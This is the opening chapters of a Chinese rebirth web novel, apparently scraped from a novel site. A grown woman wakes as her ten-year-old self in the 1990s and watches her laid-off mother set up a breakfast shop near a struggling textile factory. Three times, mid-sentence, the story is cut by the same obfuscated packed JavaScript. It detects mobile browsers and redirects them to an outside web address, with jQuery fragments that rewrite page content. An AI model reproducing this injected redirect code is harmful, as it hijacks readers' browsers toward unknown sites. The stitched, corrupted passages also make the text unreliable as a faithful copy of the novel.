《回到爸妈下岗前》 1. 十岁暑假 进入八月,一连十天都没下过雨,空气里仿佛都带着点火星子,热得人心慌慌。 半梦半醒间,林乐晓感觉有几滴汗从额头流下,顺着她的脸颊,滑到了脖颈里。她伸手将汗液抹掉,一边纳闷哪家医院的ICU连空调都舍不得开,一边惊喜她的手居然还能活动自如。 林乐晓想睁开眼睛,却发现自己好像又睡了过去,因为她听到了爸妈年轻时的声音,正在讨论她妈妈下岗的事情。 “房租一个月十块钱,是不贵……但是还要买桌椅、汤桶、碗筷吧?要不去厂办问问,你们食堂那些低价卖不卖?” “食堂的汤桶都快用穿了,我们本来还想着买个新的,报告还没打呢,食堂先没了……” “那你再找罗姐问问?你和她关系不是挺好的吗?我师父打听过了,说车间里的中级工,就没有下岗的!” “关系再好,能好过她小叔?我要不下岗,她小叔去哪个岗位安置?要不请你师父去找领导帮我说说情?” “师父能找谁啊……他也只是一个维修工……” “你师父是七级工,哦,现在叫技师了,他都帮不上忙,我还能去找谁?你觉得我是在说你师父?我是在骂你!” “我不是怕开店亏钱吗?本来买房子就借了不少钱,你如果下岗了,我一个人的工资不要说还钱,就是敷我们三个的生活都够呛……” “如果下岗?厂办已经通知我了!明天周一,你自己去宣传栏看看最新的通知!你真当厂办在做善事啊?一个月十块钱的租金就是补偿,别说你看不懂!” “我当然知道……但是,现在厂里开始拖欠工资,大家手里的钱都捏得紧,能有多少人来吃早餐?” “还有隔壁肥皂厂和后面的砖厂呢!我们三个家属区的人加起来,也有万把人了吧?还供不起我们这间小小的早餐店?” “听说那两个厂的效益也不咋地!现在也就前面的机械厂还可以了……” “你怎么老说这些不好听的话啊?就不能祝我生意兴隆、财源广进?一天天就知道说亏钱亏钱,你到底是想还钱,还是不想啊?” “好的好的,我说错了,祝姜老板挣大钱!” “这还差不多……说好的啊,赚钱了先还我爸妈,你爸妈的等以后再说!” 林乐晓好不容易睁开眼睛,晕晕乎乎地盯着雪白的房顶,思维还停留在开店那段:“我妈这店不仅亏不了,还挣了些钱,好多人眼红得等不到租约到期,到处打听,巴不得厂里面立刻收回门面,租给他们来做这个赚钱的营生……” 姜华英走进卧室,看见林乐晓瞪着大眼睛,望着天花板发呆,顺手拍了拍她的小腿:“晓晓,别睡了,我们要进城看看碗筷,你和我们去吗?” 林乐晓转过头,把视线从天花板移到了姜华英身上:“妈?你怎么来得这么快?难道我昏迷好几天了?” “说什么胡话呢?”姜华英从衣柜里拿了几张大团结,“还没睡醒啊?还做着梦呢?”她关上衣柜的门,拉开了窗帘,“那你自己在家啊!锅里有包子,现在还热着,你赶紧起来吃!” 跟随姜华英的动作,林乐晓把卧室看了个遍,更加确信自己还在梦里了。她沾沾自喜地想:“我的记性果然很好,这梦里的卧室摆设,简直和买老房子时拍的照片里一模一样!” 自从取消了统购统销,纺织厂的效益一年不如一年,今年更是连发工资都困难了起来。厂里的领导们不想着寻找销售渠道,更没有勇气研发新产品,只顾着想方设法让工人们少吃点,好喂饱他们自己的嘴巴。 年初的时候,省里出台了相关文件,同意国有企业向职工出售福利分房。好多国营厂还在研究文件精神、制定实施办法呢,纺织厂就已经张贴通知,让职工们拿钱购买现有住房,如果不能在两个月内完成购买,纺织厂或将收回福利房,重新分给有能力购买的职工。 姜华英和林勤作为双职工,工作了十来年,按理说应该有足够的积蓄买房。但林乐晓是个早产儿,从小身体就不好,为了补养孩子的先天不足,两口子工资的大头都花在了好吃好喝上。纺织厂的工人子弟里,只有林乐晓每天都有一碗牛奶喝。 买房子的通知出来后,姜华英和林勤各自向父母借了千来元,才凑够买房子的钱。 林乐晓在屋子里转了一圈,坐在自己那间从客厅隔出来的小卧室里看了好久,直到被热得满头大汗才舍得出来:“原来老房子也有这么簇新的时候啊……” 她踩着拖鞋,踢踢踏踏地往厨房走,被厨房的门框绊了一下,大脚趾撞得生疼:“啊,这下要醒过来了……” 林乐晓有些念念不舍地看了狭窄却明亮的厨房一眼,闭上了眼睛。过了片刻,她疑惑地睁开眼,望着放在灶边上还冒着热气的铝制蒸锅,擦了擦滴到了下巴的汗珠:“这个梦怎么没完没了得醒不过来呢?” 她在厨房门边的小凳子上坐下,伸手揉了揉还疼得厉害的脚趾,生出一股飘飘忽忽的荒谬感:“我就这样被一辆速度不算太快的SUV车撞死了?那现在是怎么回事?难不成是推开了两个小朋友的补偿?”林乐晓看着自己又细又黑的小胳膊小腿,“活了三十多年,说没有遗憾是假的,但也没有执念到要回来吧?又为什么是这个暑假呢?……哎,有没有什么系统啥的给点提示啊?” 林乐晓燃烧了一下“中二魂”,暗搓搓地换了好十几种方式,试图唤醒“沉睡中的系统”,却没有得到一丁点回应。 “……算了,”她认命地走到灶台旁,把蒸锅端到小餐桌上,“还是先吃饭吧。” 林乐晓揭开蒸锅盖子,看着锅里白白胖胖的包子,脑子里突然冒出她们一家三口围着餐桌包饺子的画面。 昨天下午,姜华英和同事们在厂食堂收拾完剩下的锅碗瓢盆,又把手里的食堂钥匙交给了大厨何鸣,看着他锁上了食堂大门。 何鸣带着和他一起调到小食堂的小刘去厂办报道,姜华英她们几个则结伴往厂家属区走。 负责打饭的陈大娘用肩膀撞了姜华英一下,问道:“华英,你那小刘徒弟去小厨房,是不是顶了你的位置?” “是啊,他不是才开始学切菜吗?” “这两年何师傅上了年纪,舌头没那么灵了,做菜的口味越来越重,姜师傅帮他担了不少接待任务吧?” “如果姜师傅去小食堂,等明年何师傅退休了,刚刚好接过手,小刘能干点啥……” 姜华英本来就失落,听了同事们七嘴八舌的话,心里更不是滋味。她勉强地拉起嘴角,露出一个有些别扭的微笑:“在食堂收拾了一天,我今天还没去买菜呢!你们先回去,我去菜场逛逛……” 说是菜场,其实是城郊几个村子的农民为了挣点钱,自动在附近几个国营厂周围聚集而形成的小集。还没到下午的下班时间,菜场里摆摊的只有稀稀拉拉的几个人,面前的箩筐里放着的蔬菜都蔫哒哒的。 姜华英在菜场里逛了一圈,买了两把稍微水灵点的空心菜,准备往家去,在菜场门口被叫住了。 “姜师傅……姜师傅……”一个站着收拾背篓的大嫂扯了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544614|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下姜华英,“你这会儿才来买菜啊?” 姜华英在背篓前绊了一下脚,左右晃了一下才站稳。她有些尬尴地看着大嫂:“孔大嫂,你怎么这会儿还在卖菜啊?”话刚说出口,姜华英就有些后悔了,纺织厂食堂被撤掉了,人家没地送菜,可不还在卖菜嘛。 “姜师傅,对不起啊,”孔大嫂差点把人拉摔了,双手在衣服上搓了几下,还是涨红了脸说道,“我就是想拿几个小瓜给你,这都早上才摘的,还新鲜着呢……” “没事没事,”姜华英伸头看了看孔大嫂背篓里的小瓜,确实比菜场里的其他菜鲜亮不少,“多少钱一斤哪?” 孔大嫂背好背篓,使劲把小瓜往姜华英怀里塞:“姜师傅,我很早就想谢谢你,去年要不是你帮我们说好话,我们早就不能给食堂送菜了,但又怕别人说我们也是攀了你的关系才被留下……”她趁姜华英没反应过来,快走了几步拉开了与姜华英的距离,“我不知道你住在哪……我们也拿不出什么好东西,这几个小瓜是我特意留下来的,还好碰到你了!” 姜华英捧着小瓜朝家走,心里更加堵得慌。 到家以后,她谁也没理,径直走到水池前,把小瓜洗了一遍又一遍。 林乐晓想起姜华英沉默着洗菜的背影,心里有些酸酸的。但是她紧接着又想起姜华英深吸了一口气,转过身来,扯出一个笑容,对着她和林勤说:“今天别人送了我几个小瓜,我们来包点饺子吧,你们好久都没吃了吧。” 姜华英当了十来年厨师,手脚很是利落。她很快就把小瓜都切成了细丝,又炒了一盘鸡蛋,还剁了点猪油渣。 林乐晓在姜华英的指导下,把几种食材倒进一个大搪瓷盆里,放了些盐、酱油和胡椒粉,又拌了点熟菜油。 “这就可以了,”姜华英尝了尝馅料,把醒好了的面团切成一个个小剂子,“我来擀面皮,晓晓和你爸来包,”她把先擀好的一块面皮递给林勤,“你们还记得怎么包吧?” 林勤接过面皮,往上面放了一勺馅料,两三下就捏好了一个:“我当然会包了,晓晓呢?” 林乐晓想起自己配合着说:“我好像有点忘记了,妈妈,你再教教我!” 三个人一边包一边煮,吃到最后还剩下了不少馅料。姜华英干脆又揉了个面团,隔着凉水发酵:“明天早上正好发好,包些包子来吃。” 林乐晓吃完包子,躺在客厅里的地铺上,搞不明白自己怎么会有这么鲜活的记忆。明明是二十多年前的发生的事情了,却仿佛真的只是发生在昨天:“我到底是三十多岁的林乐晓,还是才满十岁的林乐晓?” 她觉得自己真是睡得太懵了,混淆了现实和梦境,更加认不清什么是现实,什么是梦境。 林乐晓还纠结在庄生的蝴蝶梦里,门口传来了姜华英的声音:“晓晓,开一下门!我和你爸爸没手拿钥匙了!” 听到妈妈年轻的声音,林乐晓麻利地从地铺上爬了起来,快步走到门前,打开了门。 姜华英端着一箩筐的碗往里走,高兴地跟林乐晓说:“我们今天可是捡着漏了,一市场外面来了一个外地的大卡车,卖便宜的碗筷呢!” 林乐晓帮忙抬着箩筐,一扭头看见林勤抱着一个汤桶走在后面:“卡车还卖汤桶吗?” “可说呢!今天运气太好了,说明我这个店开得对……” 看到爸妈漾满笑容的脸,林乐晓也开心地笑了出来。她在心里祈祷:“如果三十多岁的记忆不是我凭空想象出来的,希望五十多岁的姜华英和林勤,不要太难过……” 2. 开店准备 上 星期一大早,姜华英跟着林勤一起出了门。林勤去上班,姜华英则去厂办拿门面的钥匙。 林乐晓一个人在家赖床,却翻来覆去地睡不踏实。干躺了一个小时,她躺不下去了,终于起床洗漱。 站在水池边刷牙,林乐晓心里暗暗庆幸,还好是回到她爸妈分到单元楼以后,不用去挤公共厕所,家里就有方便的自来水和干净的厕所。 洗完脸,林乐晓把被封上的灶火拨开,放上小锅烧水,又熟门熟路地从小餐桌上倒扣着的碗里拿出一个白煮蛋。看着蛋壳在碗里堆积起来,她不由得叹了口气:“我这拿得也太顺手了……” 吃完面条,林乐晓蹲在客厅的地铺上,把黑白电视的频道旋钮拧了一圈,然后失望地站了起来:“怎么只有两个频道有信号啊……” 她无聊地在家里转了几圈,最后从书架上拿了一本童话书看了起来。 林乐晓坐在小餐桌旁边,才看完一个故事,门口传来了悉悉索索的开门声音。她抬起头看向大门,姜华英风风火火地走了进来。 看见林乐晓手里拿着的书,她放慢了脚步:“晓晓,看书呢?早餐吃了吗?” “吃了,”林乐晓放下童话书,眼睛跟着姜华英在屋里晃了一圈,“妈妈,你怎么这么快就回来了?钥匙拿到了吗?” “拿到了,”姜华英正把一张纸放进衣柜里,听到女儿这么问,又拿出来展开,快步走到餐桌旁边,“你昨晚说的那个租约,也给我签了,还盖了厂办的公章呢!” 林乐晓伸头瞅了瞅这张只写了几行字的租约,在心里叹了一口气:“只租给咱们一年啊?” 昨天晚上,林乐晓想着不能让厂办再像上辈子一样,在她妈妈生意好起来没多久的时候,就收回门面,旁敲侧击地提醒姜华英,要和厂办签一个租约,没想到厂办却只肯租一年。 姜华英把租约叠好,朝着女儿笑了笑:“厂办的人精明着呢,要是咱们生意好,他们肯定得收更高的租金啊!”她端起餐桌上的搪瓷杯子,一口气喝完了一杯水,“咱们能占这一年的便宜,很不错了!” “如果只是提高租金就好了……”林乐晓低声嘀咕着,心里琢磨着要在厂办收回门面前,给她妈妈找个合适的地方继续开店。上辈子厂办收回门面后,姜华英零零碎碎地打了不少工,纺织厂回光反照的那几年,她也被纺织厂召回,到销售科上了几个月的班。林乐晓被撞前几天,去办理退休手续的姜华英跟她视频,还提到了这个没能开下去的小饭店。 姜华英把租约收好,又打开了大门往外走,突然想起来自己回来得太急,忘记去菜场买菜了。 “晓晓,我刚着急回来放租约,没拐到菜场去,我们中午吃蛋炒饭好吗?再拌个酸萝卜黄瓜?” 林乐晓早餐吃得晚,感觉自己中午不吃都可以:“妈妈,我吃什么都可以,我都不饿呢!” “那你在家看书啊,我去煤棚里找找咱家的煤炉子。” 林乐晓想自己回来两天,还没出过门呢。她走到门口,跟姜华英说道:“妈,我和你一起去找吧,两个人能找得快一点……” 姜华英乐了:“煤棚那么小,还堆满了乱七八糟的东西,站我一个都够呛……” “那我下午和你们一起去门面看看?” 姜华英做事风风火火,昨天晚上就和林勤商量好了,今天拿到钥匙,等林勤午休的时候一起去门面看看要怎么改建。 “你不和瑶瑶她们去玩啊?” 林乐晓心里想,她和瑶瑶可不太熟,和她们玩都是快二十年前的事了。正好早上吃面的时候,她听到了小朋友们的大嗓门,为自己找好了完美的借口:“她们下午要去爬山……” 姜华英看了看女儿弱小的身板,叹了口气:“那好吧,你也来帮妈妈出出主意。” 从煤棚里面找出煤炉子后,姜华英顺便点了点蜂窝煤。她走上楼,边琢磨着去煤场买点碎煤渣,边从坛子里捞了几条酸萝卜出来。这坛酸萝卜是冬天的时候泡的,经过半年多的发酵,味道酸得呛人。 姜华英把酸萝卜切成丁,倒进装了黄瓜块的搪瓷钵里,再往里面加了点白糖、酱油和辣椒面,用筷子把调料拌均匀。她夹起一块酸萝卜,喂进还在看童话书的林乐晓嘴里。看到女儿被酸得眯起了眼睛,姜华英笑着问道:“现在想吃饭了吗?” 林乐晓冷不丁地被酸得一激灵,还真感觉自己有些饿了。她看着笑眯眯的老妈,不由自主地撒娇道:“妈~~我饿了~~” 姜华英立马拿出三个鸡蛋,磕进碗里打成蛋液:“等着啊,马上就可以吃了!” 打好鸡蛋,姜华英把铁锅放到灶上,往里面舀了点猪油。待猪油化开,锅上飘起一点烟气,她才把鸡蛋液倒进锅里。鸡蛋液被油温一激,冒了几个不大的泡泡后,迅速凝固成了一块滑嫩的鸡蛋饼。姜华英用铲子在锅里划了几圈,蛋饼就快速散开,变成了炒鸡蛋。她把早晨蒸好的米饭倒进锅里,翻炒片刻后,在饭上撒了点毛毛盐:“唉,应该在路边买把小葱的……晓晓,拿两个碗来,吃饭了!” 林乐晓捧着满满的一碗蛋炒饭,抿着嘴坐到了小餐桌旁。她夹了一块酸辣的萝卜放进嘴里,嚼巴了半天,还是诚实地跟姜华英说道:“妈妈,我吃不完~” “能吃多少就吃多少,剩下的给你爸……”姜华英话才说完,家里的大门就被推开了。她用筷子指了指林勤,转头跟林乐晓说,“给你爸盛饭吧!” “哎!”林乐晓从碗橱里拿出一个面碗,把锅里剩的炒饭全装进去,还从自己碗里拨了一半进去,“爸,吃饭!” 林勤洗完手,走到餐桌旁端起碗,好笑地看了看妻子和女儿,说道:“吃完这一碗蛋炒饭,晚饭都要省了……” “多吃点,一会好去门面下门板!”姜华英挑了一筷子酸萝卜放在他的饭上,又问道:“师父家的煤炉子还留着吗?” “师父说中午回去找找,一会儿上班的时候带到门面去,”林勤端起碗,呼呼地刨了几大口蛋炒饭,满足极了,“你妈炒的蛋炒饭真是没话说!” 吃完饭,一家人提着自家的煤炉子,向才租给他们的门面走去。 门面的位置很不错,在家属区几栋新楼房的旁边,原来是纺织厂的自营商店,职工们去纺织厂上班,总要经过这里。供销体制取消后,商店关了门,房子一直空闲着。今年春天,厂办把整个商店隔成了三个门面。 林勤拧开木板门上的挂锁,把木板门一块块地移开。他端起最后一块门板,对着已经站在门面里的姜华英说道:“这门板挺重的,我感觉你自己可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544615|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿不起来……” “你别小看我们厨师!”姜华英走到门边,双手扶住一块靠在墙上的门板,收紧小腹,一下就把门板端了起来,还慢悠悠地走了两步,“怎么样!” 林乐晓被还有些幼稚的父母逗得直乐,连带着冲淡了狭小的门面给她带来的焦虑。她走到姜华英旁边,跟着妈妈在小门面里转了一圈:“妈妈,这里能放得下四张方桌吧?” “最多放三张,那里要放两个煤炉子,还得摆一张桌子放浇头和调料……”姜华英朝着女儿摇了摇头,用手指在门口方向划了个圈。 林乐晓推了推门面里唯一的一扇小窗子,不太赞成姜华英的规划:“煤炉子放在屋里?”等到冬天用塑料帘子把门封起来,很容易二氧化碳中毒的……不对……林乐晓反应过来,把不合时宜的理由吞进肚子,“放在屋子里太呛人了!再叫爸爸找人给炉子砌个座子,妈妈就不用弯着腰炒菜啦!” “晓晓还记得住筒子楼的时候,被煤炉子呛的事情呢?”姜华英拍拍女儿的小胳膊,走到门口看了看,又把带来的煤炉子放在门槛外,和站在那抽烟的林勤商量:“炉子放在这怎么样?会挡到客人进出吗?” 林勤把烟屁股丢在地上,用脚踩了两下,接着提起炉子来回摆了一遍:“这样摆?旁边这里放你的浇头桌子?” 姜华英站在炉子旁边,用手在炉子上面舀了勺空气骨汤,然后点了点头,说道:“这样刚好!不过是得砌两个有围挡的座子,要是炉子啊汤锅啊被碰倒了可不得了!” “知道了,我下午下班后去后面的砖厂看看,”林勤把煤炉子提到一旁,问道,“水池也要移到这边来吗?” “算了,”姜华英踢踢墙壁,轻轻地摇了摇头,“移过来还得去买水管,下水也要重新打,能省一点就省一点吧……” 两人站在门口,絮絮叨叨地商量着小店布局,连林勤师父的招呼声音都没听见。 “你俩说啥呢!喊了两声都没人应!”马大山放下煤炉子,一巴掌拍在徒弟的背上,听得站在旁边的姜华英都觉得疼。 “师父!”林勤被拍得直叫,“您轻点不行吗!” “炉子给你们拿来了,”马大山瞪了徒弟一眼,“时间差不多了,上班去了!” “知道了!”林勤看了看手表,转头问姜华英,“我帮你把门板上好?” “不用!你赶紧跟着师父走吧,”姜华英推了他一下,“我和晓晓再看看,哎,晓晓呢?晓晓!” 林乐晓正在路头的那间门面观摩呢!听见姜华英叫她的声音,她赶紧往门面跑了两步,回答道:“妈妈,我在这儿呢!” “你多久跑到前面去了?” “刚刚啊,你和爸爸说话的时候,”林乐晓喊了一声师公,又指着路头的方向,小声地跟三个大人说,“前面的门面也开了门,里面好大啊,有咱们这间的三、四个大呢!” “我上午听他们说,是租给质检科的那个胡花花了?”马大山也放低声音,向姜华英求证。 “是租给她了,早上和我一起拿的钥匙。” “我说呢,怎么连苏厂长的亲戚也下岗了……”林勤捏捏姜华英的胳膊,问道,“我都忘记了,你们食堂的冰箱呢?租吗?” “租啊,也租给她了。” 3. 开店准备 下 林勤跟着马大山去上班,姜华英带着林乐晓在门面待了一个下午,把这间屋子里里外外丈量了个遍。 她让林乐晓按住铁皮卷尺的头部,自己则拿着卷尺盒,边量边念念有词地想要记住各种数据。 “哎呀,晓晓,桌子是要买多大的来着?” “不超过一米二,”林乐晓回答了好几次,有点看不下去了,“妈妈,要不我回家拿个本子来?” “不用,”姜华英走到煤炉子旁边,从炉芯里面掏出来一个数学本子和一支笔,“我带了!” “……妈妈,你怎么不早点拿出来啊?光桌子的尺寸,我们就量了三遍了!” “我不是想锻炼一下记忆力嘛!”姜华英在数学本子上写下桌子的尺寸,唉声叹气地说道,“在食堂的时候,大家都是站在窗口前排队,一个一个地说要点啥,等端到自己的碗才会走开。这自己开早餐店,客人点完餐就要去坐着了,我有点害怕记不清……” “那……也用个本子记记?” “还是我们晓晓会出主意!”姜华英指挥林乐晓站到门边,自己边拉卷尺边吐槽道,“知道你爸说啥吗?他说不用担心,来吃粉的人不会多到记不清点单的!真是气死我了!” 确定了早餐店的布置和家具尺寸以后,林勤到附近的砖厂买了几百块砖,又在托人在水泥厂买了些水泥和腻子粉。姜华英向马大山师父借了自行车,带着林乐晓,把市郊的几个废品收购站都转了一遍。 “转了一天,一张能用的旧桌子都没看见,”姜华英伸直了腿,两只手反撑在地铺上,小声地跟林勤说道,“倒是晓晓,买了几本说是名著的书……” “你还按不按腿了,怎么老是乱动呢!”林勤把姜华英的小腿放在他盘着的双腿上,两只大拇指用力按着姜华英的小腿肚,嘴里还不忘跟姜华英逗趣,“别说能用的旧桌子了,不能用的也没看见吧?要不还是去给咱们打家具的于师傅那里看看……” “一张桌子五十块,太贵了!”姜华英摇摇头,沉默半天,才下定了决心似地说道,“明天我去厂办问问吧,食堂的桌子都好着呢……” “早就说让你去问问,不能卖也能租吧!”林勤兀自激动起来,手上使的力气更大了,声音也高了几度,“胡花花连冰箱都租了,这两天见人就宣传她那商店会有冰棍卖呢!我们租三张桌子怎么了……” “你想把我疼死啊!这么使劲干嘛!”姜华英踹了林勤一脚,指使他去开电视,“你一天叭叭叭地显摆什么呢?没买到桌子,我承认我没啥本事,你有本事,你明天去厂办问租桌子的事呗!” 林勤打开电视,拧到马上要播电视剧的频道,又蹲着走到姜华英的背后,边上手给她按肩膀,边低声说道:“厂办的人哪认识我啊?别我一进去,就被轰出来了……媳妇,这么按舒服吗?” 姜华英哼了一声,偏过头喊林乐晓:“晓晓,要播电视剧了,你来看吗?” 林乐晓站在厨房的小餐桌旁,拿着湿毛巾,慢慢地擦着下午收的旧书的封面。听到姜华英的声音,她捧着书走到客厅,看了看电视里的黑白影像,摇摇头说道:“妈妈,我先擦书吧,马上就擦完了。” “我们晓晓就是爱学习!”姜华英欣慰地点了几下头,“去擦吧!” 第二天一早,姜华英又和林勤一起出了门。 夏天早晨的风穿过树林,从忙忙碌碌的人们脸上拂过。 “你下岗这几天,我俩早上一块出门两次了,”林勤拉着姜华英的胳膊,低声地嘀嘀咕咕道,“这半年也就这两次了吧?” “你是觉得,我这岗下得好是吧?”姜华英甩开林勤的手,白了他一眼。 林勤搓了搓被甩开的手臂,嘿嘿地笑了两声,说道:“我哪有这个意思!是觉得你以前上早班的时候太辛苦了,天不亮就要出门了。” “都过多久了,现在才来讲这些话……”姜华英嘟嘟囔囔地说道,脸上有些发热。 “嗯?你说什么?” “没说啥!”姜华英推着林勤往车间方向走了两步,然后转过身朝办公大楼走,“你快去上班,我去厂办了!” “哎哎,你别推我啊!”林勤顺着姜华英的力道走了几步,在一片树荫下停下来,看着那道充满活力的背影,摇了摇头,“这么早,厂办能有人嘛?” 厂办还真有人。 姜华英原本是想早点来,在办公室门口等着,等主任来了,帮着打壶开水,然后主任泡茶,她趁机说说或买或租食堂桌子的事,那时人少事少,成功的机率也高些。 没想到这么早,厂办的门已经开了。 姜华英站在半掩着的门外,听见办公室里有人在说话。 “小胡啊,按道理说,门面租给你了,里面的柜台可以算作随房租给你的家具,但现在厂里不怎么景气,下岗的职工多了起来,难免会传些闲言闲语,我们补个手续,你再出点柜台的租金,只是以防万一……以防万一……” “叶主任,我明白的,这您拿着,我舅舅和我妈嘱咐我谢谢您,让您费心了……” 两人推拒了一会,姜华英听见胡欢欢说道:“叶主任,那我先走了,今天得去市里的批发市场看看……” 姜华英赶紧退后两步,敲了敲就要被拉开的门,问道:“有人在吗?” 胡欢欢拉开门,侧过身让姜华英进屋,微笑着说道:“姜师傅早啊!” “哟,小胡,你这么早啊!”姜华英有些惊讶地回答道,“我还以为我就够早了呢……” “姜师傅快进去吧,我先走了。”胡欢欢站在门边转过头,向正提着保温瓶倒水的叶主任说道,“叶主任,食堂的姜师傅来找您,我先走了,有空你来我们小卖部,我请您吃……零食。” “好……好,你去忙你的!”叶主任冲胡欢欢点点头,端着水杯走到办公桌旁边,问道,“华英啊,有什么事?” 姜华英抿了抿嘴唇,虚掩上门,走到办公桌旁,说道:“叶主任,我想租几张食堂的桌子……” “华英,我知道攒点家当去开店不容易,但是也不能什么都指望厂里帮你们解决吧?”叶主任揭开茶杯的盖子,喝了一口茶,说道,“你要出的租金已经很少了,这便宜,可不能占个没完呐!” 姜华英摸了摸兜里的红包,突然改变了主意。她没有把红包掏出来,而是小声地跟叶主任摆起龙门阵来:“昨天上午,我在菜场碰到何师傅,还有我那徒弟小刘,说这些天经常有市里的人来厂里检查,领导让多买些菜备着,怕万一哪天人来得多,菜不够……但是冰箱里面已经被塞满了,根本没地放了……我觉得小刘就是想偷懒,不愿意天天地往菜场跑,以前食堂没撤的时候,都是别人给我们送菜,他哪尝过背一大筐菜的苦啊?” 叶主任扯开嘴角笑了一下,问道:“小刘吃不了背菜的苦,你就能吃得了?华英,下岗通知已经公示过了,可没有再收回的说法。” “我知道,”姜华英也笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544616|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,继续说道,“我是看小刘这一天天的,嘴里没个把门,还喜欢编些胡话,我在食堂这么多年,还没碰到过冰箱装不下的情况!食堂好歹有三个冰箱呢,怎么会装不下这点菜呢!您说,是吧?” “姜华英,你还没开始做生意吧?这就锻炼出来了?越来越会说话了啊?”叶主任的食指在办公桌的玻璃板上扣了几下,问道,“去胡欢欢的小卖部看过了?” “路过的时候看了几眼,”姜华英点点头,“她们收拾得可快了,里面的柜台摆得整整齐齐的,和原来供销社没什么区别,哦,好像多了一台冰箱?” 叶主任从桌上的香烟纸盒里掏出一根烟,“你想租几张桌子?” “谢谢叶主任!我想租三张饭桌,十二条条凳,还有食堂厨房里闲置的那张书桌!” “带钱了吗?一张桌子一年的租金二十元,一根条凳三元,”叶主任捏住香烟头,在桌上磕了磕,说道,“厂里照顾你们下岗职工,这都是成本价!” “带了,”姜华英从兜里掏出好几张大团结,她把钱捏在手里,在一旁的椅子上坐下,“还是等李姐来了签租约吗?” 叶主任点燃香烟,猛抽了一口,没好气地回答道:“是!”他抖了抖烟灰,嗤笑道,“你倒是坐得悠闲。” “那不是得等李姐吗?”姜华英站起来,轻声问道,“那我去门口站着等?” “坐你的吧!” 签完租约收了钱,李令带着姜华英去食堂看桌子。 “华英,走这边!” “欸?李姐,那不是去维修车间的路吗?” “你先去叫林勤找几个小伙子,等咱们选好桌子,正好喊他们一趟搬回去!” “嗯?哎!谢谢李姐!” “不用谢我,一会儿我还有事,可没空陪你在食堂耗时间哦。” 姜华英跑去维修车间找林勤,他叫了三个闲着的师兄弟,几个人找到马大山请假,马师父也没啥事,跟着他们一起去了。 食堂的桌子不少,但姜华英很快就给师兄弟们指了三张不新不旧的桌子,她自己带着林勤绕进厨房,抬起角落里闲置的书桌。 “不是有新一点的桌子吗?怎么选了三张旧的?”林勤抬着书桌,还是抽空说出了自己的疑惑。 “那三张桌子的木头好一些,放着也更平稳,桌脚不垫报纸也不会摇来晃去的。” 稳重的桌子让林勤的师兄弟们出了一头的汗。 大家站在早餐店的门口擦汗,等林勤搬开了店门,又把桌子板凳抬进了店里。 姜华英站在门边,不好意思地跟马大山说道:“师父,谢谢你们了!早餐店周天开业,到时请你和师兄师弟来吃饭!” “嗨,搬了几张桌子,你就要请吃饭?你们有多少家底啊?” “师父,我们确实没啥钱了,”姜华英接过马大山手里的条凳,继续邀请道,“说是请吃饭,其实也就能请大家吃几碗米粉,小店开业,还麻烦师父和大家来给我们热热场……” 马大山背着手在店里转了一圈,在最靠外的条凳坐下来,问道:“你们这店子,墙壁没粉刷好,煤炉的架子也才砌了一半,周天开得了业?搬几张桌子就吃碗粉,我都替你觉得亏得慌……这样吧,让他们几个,这几天帮你们把店子收拾好,周天早上我们都来,你给大家多舀几勺肉臊子,怎么样?” 姜华英和林勤对视了一眼,异口同声地说道:“那就谢谢师父和师兄师弟们了!” 4. 确定菜品 马大山和林勤几个师兄弟商量好了,这几天吃完晚饭,就来早餐店帮忙。 姜华英算了算时间,便放弃了自己刷墙的打算。大家走后,她用湿帕子随便擦了擦桌子,就锁了门,到小菜场买菜去了。 半上午的菜场里,买菜的人不多,小摊主们一边聊天,一边整理着菜摊。姜华英在豆腐摊子上买了一兜豆芽,又订了两斤绿豆。接着,她逛到卖咸菜的摊子上,买了两个咸芥菜疙瘩和两斤干辣椒。最后,姜华英走到了菜场里唯一的肉摊前。 “哎呀,姜师傅来啦!买点肉啊?”坐在肉摊里面的嫂子看见姜华英,连忙放下手里赶苍蝇的稻草把,热情地招呼她。 “周大嫂,你家筒子骨订出去了吗?” “没有啊……”周大嫂摆了摆胖乎乎的手掌,叹了一口气,说道,“你们食堂撤得太突然了……” “周大嫂,给我称一根筒子骨和一根扇骨吧,再割二两肉,”姜华英用手指在一块瘦肉上比划了一下,说道,“从这周天开始,我每天订两根筒子骨、两根扇骨和半斤瘦肉,周大嫂,还要麻烦你们给我送送货。” 周大嫂把筒子骨放到秤盘里,有些为难地说道:“送到哪啊?姜师傅,你就这么点东西,太远的地方可不成啊……” “就送到前面纺织厂家属区,顺路的!我叫我家那口子在门口等着你们。” “那行吧!”周大嫂把骨头和肉用稻草系起来,递给姜华英,“一共五块五毛钱。” 